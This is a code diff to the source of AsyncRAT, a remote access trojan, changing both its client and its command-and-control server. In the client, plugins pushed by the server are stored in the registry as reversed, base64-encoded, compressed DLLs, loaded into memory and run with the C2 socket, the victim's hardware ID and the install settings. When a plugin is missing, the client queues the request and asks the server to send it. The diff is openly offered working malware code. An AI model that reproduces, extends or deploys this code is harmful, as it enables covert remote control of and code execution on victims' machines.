diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 18a8aad..e4ae405 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -8,11 +8,13 @@ using System.Reflection; using System.Threading; using System.Collections.Generic; using Microsoft.VisualBasic; +using System.Linq; namespace Client.Handle_Packet { public static class Packet { + public static List Packs = new List(); public static void Read(object data) { try @@ -33,11 +35,23 @@ namespace Client.Handle_Packet case "plugin": // run plugin in memory { - Received(); - Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))))); - Type type = assembly.GetType("Plugin.Plugin"); - dynamic instance = Activator.CreateInstance(type); - instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install); + try + { + Invoke(unpack_msgpack); + } + catch (Exception ex) // check if plugin is installed + { + if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) + { + Packs.Add(unpack_msgpack); //save it for later + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").SetAsString("sendPlugin"); + msgPack.ForcePathObject("Hashes").SetAsString(unpack_msgpack.ForcePathObject("Dll").AsString); + ClientSocket.Send(msgPack.Encode2Bytes()); + } + else + Error(ex.Message); + } break; } @@ -45,27 +59,14 @@ namespace Client.Handle_Packet { SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString); Debug.WriteLine("plugin saved"); - break; - } - - case "checkPlugin": // server sent all plugins hashes, we check which plugin we miss - { - List plugins = new List(); - foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(',')) + foreach (MsgPack msgPack in Packs.ToList()) { - if (SetRegistry.GetValue(plugin) == null) + if (msgPack.ForcePathObject("Dll").AsString == unpack_msgpack.ForcePathObject("Hash").AsString) { - plugins.Add(plugin); - Debug.WriteLine("plugin not found"); + Invoke(msgPack); + Packs.Remove(msgPack); } } - if (plugins.Count > 0) - { - MsgPack msgPack = new MsgPack(); - msgPack.ForcePathObject("Packet").SetAsString("sendPlugin"); - msgPack.ForcePathObject("Hashes").SetAsString(string.Join(",", plugins)); - ClientSocket.Send(msgPack.Encode2Bytes()); - } break; } } @@ -76,6 +77,15 @@ namespace Client.Handle_Packet } } + private static void Invoke(MsgPack unpack_msgpack) + { + Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))))); + Type type = assembly.GetType("Plugin.Plugin"); + dynamic instance = Activator.CreateInstance(type); + instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install); + Received(); + } + private static void Received() //reset client forecolor { MsgPack msgpack = new MsgPack(); @@ -91,6 +101,5 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("Error").AsString = ex; ClientSocket.Send(msgpack.Encode2Bytes()); } - } } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 9303fdd..7dfa462 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -13,7 +13,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.4J"; + public static string Version = "0.5.4H"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index c7399db..bcbaf78 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -35,12 +35,6 @@ namespace Server.Handle_Packet catch { } } - try - { - client.CheckPlugin(); //send plugins hashes to client to check if exists or need update - } - catch { } - client.LV = new ListViewItem(); client.LV.Tag = client; client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 0cc3c49..99ff585 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -173,10 +173,7 @@ namespace Server.Handle_Packet { new HandleLogs().Addmsg($"Sending plugins to client {ip} please wait..", Color.Blue); ThreadPool.QueueUserWorkItem(delegate { - foreach (string plugin in unpack_msgpack.ForcePathObject("Hashes").AsString.Split(',')) - { - client.SendPlugin(plugin); - } + client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString); }); break; } diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index 9bb037d..f47274d 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -17,7 +17,7 @@ namespace Server public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "AsyncRAT 0.5.4J"; + public static readonly string Version = "AsyncRAT 0.5.4H"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object();